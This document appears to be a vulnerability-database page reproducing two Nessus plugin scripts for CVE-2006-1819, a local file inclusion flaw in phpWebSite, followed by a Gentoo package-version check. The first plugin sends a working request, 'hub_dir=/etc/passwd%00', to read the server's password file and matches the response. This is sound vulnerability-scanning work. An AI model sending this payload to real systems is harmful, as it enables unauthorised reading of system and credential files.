Vulnerabilities > CVE-2006-1819 - Unspecified vulnerability in PHPwebsite

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(21228);
  script_version("1.20");

  script_cve_id("CVE-2006-1819");
  script_bugtraq_id(17521);

  script_name(english:"phpWebSite index.php hub_dir Parameter Local File Inclusion");
  script_summary(english:"Tries to read /etc/passwd using phpWebSite");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file include issue." );
 script_set_attribute(attribute:"description", value:
"The version of phpWebSite installed on the remote host fails to
sanitize input to the 'hub_dir' parameter of the 'index.php' script
before using it in a PHP 'include()' function.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit this issue to view arbitrary files on the remote
host or to execute arbitrary PHP code, subject to the privileges of
the web server user id." );
  # https://downloads.securityfocus.com/vulnerabilities/exploits/PHPWebSite_fi_poc
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a081ffd2" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/16");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/04/17");
 script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:phpwebsite:phpwebsite");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpwebsite_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/phpwebsite");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpwebsite"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to exploit one of the flaws to read a file.
  file = "/etc/passwd%00";
  r = http_send_recv3(method:"GET", port:port,
    item:string(dir, "/index.php?","hub_dir=", file ));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream" or "failed opening".
    #
    # nb: this suggests magic_quotes_gpc was enabled but an attacker with
    #     local access might still work.
    egrep(pattern:"main\(/etc/passwd\\0conf/config\.php.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<br");

    if (isnull(contents)) report = NULL;
    else
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "Here are the contents, repeated three times, of the file\n",
        "'/etc/passwd' that Nessus was able to read from the remote\n",
        "host :\n",
        "\n",
        contents
      );
    }

    security_hole(port:port, extra:report);
    exit(0);
  }
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200605-04.
#
# The advisory text is Copyright (C) 2001-2014 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/2.5/
#

include("compat.inc");

if (description)
{
  script_id(21319);
  script_version("1.13");
  script_cvs_date("Date: 2019/08/02 13:32:43");

  script_cve_id("CVE-2006-1819");
  script_xref(name:"GLSA", value:"200605-04");

  script_name(english:"GLSA-200605-04 : phpWebSite: Local file inclusion");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200605-04
(phpWebSite: Local file inclusion)

    rgod has reported that the 'hub_dir' parameter in 'index.php'
    isn't properly verified. When 'magic_quotes_gpc' is disabled, this can
    be exploited to include arbitrary files from local ressources.
  
Impact :

    If 'magic_quotes_gpc' is disabled, which is not the default on
    Gentoo Linux, a remote attacker could exploit this issue to include and
    execute PHP scripts from local ressources with the rights of the user
    running the web server, or to disclose sensitive information and
    potentially compromise a vulnerable system.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.gentoo.org/security/en/glsa/glsa-200605-04.xml"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All phpWebSite users should upgrade to the latest available
    version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=www-apps/phpwebsite-0.10.2'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:phpwebsite");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2006/05/02");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/03");
  script_set_attribute(attribute:"vuln_publication_date", value:"2006/04/17");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/phpwebsite", unaffected:make_list("ge 0.10.2"), vulnerable:make_list("lt 0.10.2"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "phpWebSite");
}